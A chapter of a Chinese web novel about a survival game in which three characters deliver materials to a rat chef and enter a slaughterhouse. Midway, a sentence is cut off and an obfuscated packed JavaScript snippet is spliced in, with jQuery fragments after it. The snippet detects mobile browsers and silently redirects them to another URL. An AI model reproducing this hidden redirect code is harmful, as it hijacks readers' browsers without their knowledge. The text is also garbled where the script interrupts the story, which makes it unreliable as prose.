5. 第 5 章

作品:《在求生游戏里捡垃圾

    “我也去!”


    “我们跟你一起去!”朱哲仁没忘拽上晏哥一起。


    “可以啊。”苏颜冉回答的很爽快,“你们带路。”


    于是就这么定下来,三人一起出发。


    出发前,苏颜冉让另外二人等她片刻,随后消失在她刚刚过来的方向。


    等在原地,朱哲仁好奇,戳戳他晏哥的胳膊,问道:“你说苏妹妹这是去干什么?”


    晏萧禾侧身躲过,“手上有泥。”


    朱哲仁怒了,“我手很脏吗?!再脏也没有苏妹妹身上的泥脏!你刚刚还专门凑上去!


    你还主动帮人家拿竹筐!你怎么没对我这么体贴过!”


    “重色轻友!双标狗!”


    朱哲仁碎碎念时,拿着竹筐的苏颜冉从树后闪身而出。她方才跑得急,前半句的抱怨一个字没听见,唯独捕捉到飘进耳朵的最后一句。


    “这里还有狗?哪里?”苏颜冉跑过来四周张望。


    她就没在森林里见到过活物。


    “当然”带着威迫感的视线落在后背,过去被摁在地上揉圆搓扁的画面窜进脑海,理智“唰”地回笼。


    朱哲仁悻悻地把到了嘴边的话咽回去,尬笑着表示,“我是狗,我是狗。”


    苏颜冉嘴角一抽。


    不想再讨论谁狗的事情,朱哲仁连忙岔开话头:“你刚去干什么了?”


    苏颜冉指尖勾着竹筐轻轻晃:“我刚过去把挖的植物装进去。”


    朱哲仁恍然:“我就说你怎么两手空空的,还以为你什么都没找到!原来是没带过来!”


    “诶!等等!你来之前就知道这里有人?!”


    “之前陈叔教你的都喂狗肚子里了。”


    晏萧禾顿了顿,语气里有些无奈:“她一过来就到处看,看见你也没觉得奇怪,摆明了是被你的声音引过来的。”


    “还有,你嗓门也太亮了。”这森林静得可怕,一丝动静都能在林子里荡开老远的回音。


    苏颜冉无声点头。


    路程挺远,三人即刻出发。


    在得知大概需要2个小时才能到,苏颜冉也不浪费时间,和过来时一样,捏着小铲子就开始挖。


    只是这次她不再如鬣狗一样风卷残云,挑着看起来危险性不大的植物,丢进竹筐里。


    刚从地上挖出一颗野草,发现是空间里已经有的种类,苏颜冉顺手丢进竹筐里。撑着膝盖站起身,扭头就撞进一双渴望的眼睛。


    朱哲仁顶着一张肿脸还能看出谄媚,“苏妹妹,你借我铲子用用呗。”


    “这样,我也不白用,我给你当苦力!你要什么植物,我都给你挖!”


    苏颜冉略一沉吟,觉得对自己没什么损失,颔首同意。


    这边铲子一入手,就像是得了什么尚方宝剑,朱哲仁原本微塌的脊背瞬间挺直,望向晏萧禾的目光嘚瑟,眉梢都带着一股耀武扬威的劲儿:


    “晏哥,现在唯一的工具在我手上,你求我,我就给你也用用~”


    他故意在尾音拐了个弯,听着就欠揍。


    “求你?”晏萧禾意味不明的嘴角一勾。


    “呯!梆!憉!”


    一分钟后,朱哲仁捂着腰子眼泪汪汪,“晏哥!我错了!我错了!我再也不嘴贱了!”


    晏萧禾这才把手里的铲子又重新丢给朱哲仁,让他好好卖力还债。


    “怎么感觉用铲子挖,比用手拔省力好多。”


    挖出一株草,见苏颜冉不要,朱哲仁放进自己的筐里,嘴里还忍不住嘀咕:“奇怪?怎么有种这草在害怕的感觉?”


    一路挖一路走,比预计还要晚一个小时才走到朱哲仁口中的庄园。


    苏颜冉仰头。


    至少三层高的古堡远远的在花园尽头露出个小尖,喷泉、花丛、假山……所有能想象出来的奢华,都被围在高墙里。


    隔着面前的雕花大门,苏颜冉震惊扭头:“你管这叫庄园??”


    这不是城堡吗!


    朱哲仁摸着后脑勺,同款震惊:“我们之前来的时候没看到这么大的花园啊!”


    “这里是另一个门。”晏萧禾仔细辨别后道:“交任务的地方在另一侧门。”


    虽然看不完全,但隐约能看到露出的白墙一角。


    朱哲仁在晏哥的提醒下,勉强看到熟悉的白色,“还真是,我们还得再绕过去。”


    绕着两米高墙向另一侧走去,离开雕花大门,入眼的只有眼前的白墙。


    奇怪。


    不知是两米高墙隔绝了声音,还是墙内本就安静,一点声音都没有,静到让人耳鸣,仿佛与他们所在的世界隔着一道无形的屏障。


    莫名一股恐惧像冰冷的藤蔓缠上脊背,三人不由屏着呼吸,脚步放得轻之又轻。


    “叽咕,嗬!”突兀的声音打破令人窒息的安静,苏颜冉猛地抬起头,涣散的瞳孔剧烈收缩,眸中混沌如潮水般退去。


    “呼…呼…”大口喘着气,凝滞的思绪终于重新转动。


    她竟险些溺毙在那个无声的白色囚笼里!


    苏颜冉猛地转头,正对上朱哲仁惊魂未定的眼神,晏萧禾站在一旁,周身的气息紧绷得像一触即发的弓弦。


    用她从未见的凝重警惕姿态,一字一顿道:“那堵墙有问题。”


    是致幻,也是催眠。


    那堵墙在无形中扭曲了他们的感知,让他们把“出声”当成了禁忌,下意识地拒绝一切声音。


    他们亲手造成这片死寂,而这份死寂,又反过来将他们拖入更深的幻觉漩涡。


    差点把自己活生生憋死!


    苏颜冉僵硬地回头,望向那堵惨白的墙,心脏骤然紧缩——那墙面泛着冷幽幽的光,像一个能吞噬灵魂的无底洞,恐惧密密麻麻地爬满了四肢百骸。


    “啪!”


    木棍重击地面的闷响,像一记急促的警铃骤然炸开,将险些再度坠入白色幻境的苏颜冉猛地拽了回来。


    后背惊出一层冷汗,慌忙移开目光,不敢再投去一眼。


    扭头看向声音发出的地方,穿着厨师服的老鼠用力的敲着擀面杖,应该是发现苏颜冉三人终于看向它,老鼠语气急促的叽里呱啦的飞快输出。


    虽然听不懂对方在说什么,但她总觉得对方骂的很脏。


    “……”


    ‘乖巧’的等待对方骂完,苏颜冉三人依次上前将自己采集的植物倒在老鼠厨师面前的白桌上。


    呼、吸、呼、吸。


    随着三人倒出来的植物越多,老鼠厨师面上的表情越难看,堆满脂肪的胸口急促起伏,呼吸粗重得像破风箱。


    唇瓣不受控制地向后翻卷,尖锐的獠牙一寸寸显露,喉间滚出的“呲咕”声,宛如毒蛇吐


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16958877|193264||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    信。


    苏颜冉心头升起一股不妙的预感,抢在朱哲仁放下一个植物前,飞快从兜里掏出一个东西,放在桌面!


    那是她提前准备好的骨狨趾骨。


    “吱——咕?”


    像是烧得正旺的火炉被浇上了凉水,愤怒戛然而止。


    鼠厨师的目光扫过桌面的瞬间,豆大的眼珠骤然绷得滚圆,堆满脂肪的脸颊都跟着微微一颤。


    动作轻柔的不符合它的身材,短粗的指头小心翼翼的捏着‘白石块’,先是放在鼻尖闻,像是确定什么,脸上表情舒缓,眼底的凶意都淡了许多。


    “咕叽。”


    从桌底掏出一个白盒,白盒在贴近骨狨后发出莹莹淡光,鼠大厨眼底的凶意瞬间消失殆尽。


    确认无误后,鼠大厨恢复最开始平静的样子,掏出个陌生仪器,冲着苏颜冉招招手。


    苏颜冉犹豫的伸出右手,看着仪器按在手表上发出‘滴’一声。


    光屏上的内容随之发生变化。


    [山祝草:0/20


    骨狨:38/20(超额完成,获得鼠大厨的赞赏,鼠大厨的好感度+10)


    冼石:0/20]


    果然不是杀20只1000多斤的异兽!在心里默默估算了一下她给出去的骨头重量,任务食材单位原来是g!


    视线落在任务完成后面的那段文字,苏颜冉又生出新的疑惑:鼠大厨的赞赏和好感度有什么用?


    将骨狨妥帖收进白盒,鼠大厨当即变了脸色,一把将桌上其余的植物扫落在地,还嫌恶地对着桌面吹了口风。


    一股腥臭的气味顿时扑面而来,鼠大厨张口的瞬间,苏颜冉下意识地屏住呼吸,动作细微得无人察觉。


    离桌面最近的朱哲仁,只觉那股味道直冲脑门,窒息般地抽了口气,脸色红了又绿,脚步踉跄了一下,险些栽倒在地。


    最后面的晏萧禾默默抬手捂住口鼻。


    鼠大厨在收拾完桌面后,转过身,指着苏颜冉三人‘叽咕’了两声,示意他们跟着它走。


    苏颜冉松了口气。


    还以为这次混进后厨的方案失败了,还好惩罚依旧。


    走进白墙后,映入眼帘的是一堵更高的墙,每隔一米就有一扇银色的大门。鼠大厨领着三人连续穿过三扇银门,在第四扇门前停下。


    不知从哪掏出一张银色的卡片,在银门上一贴,银门无声露出一条缝。


    鼠大厨推开门,走了进去。


    苏颜冉三人对视一眼,晏萧禾率先迈步上前,苏颜冉盘算着自己殿后,后腰就被朱哲仁推了一把,身不由己地站在了他与晏萧禾中间的位置。


    “叽咕!”


    是鼠大厨没见三人跟上来,发出催促的声音。


    三人不敢耽搁,连忙放轻脚步小心翼翼地进门。还没站稳,一股混杂着血腥的臭味就直冲鼻腔,让人头皮发麻。


    ——眼前是一个巨大的屠宰场。


    远处传来牲畜吼叫声,面前是已经分割完成的红肉,挂在一排排整齐摆放的铁架上,剩肉、内脏、头颅随意的丢弃在地面,暗红的血水顺着泥地蜿蜒流淌,渐渐漫过三人的鞋底。


    一个巨大的猪头,狰狞的脸正对刚进门的三人。


    最后一个走进门的朱哲仁没忍住发出见世面的惊叹声:“妈呀,这里的猪能一口吃三个我!”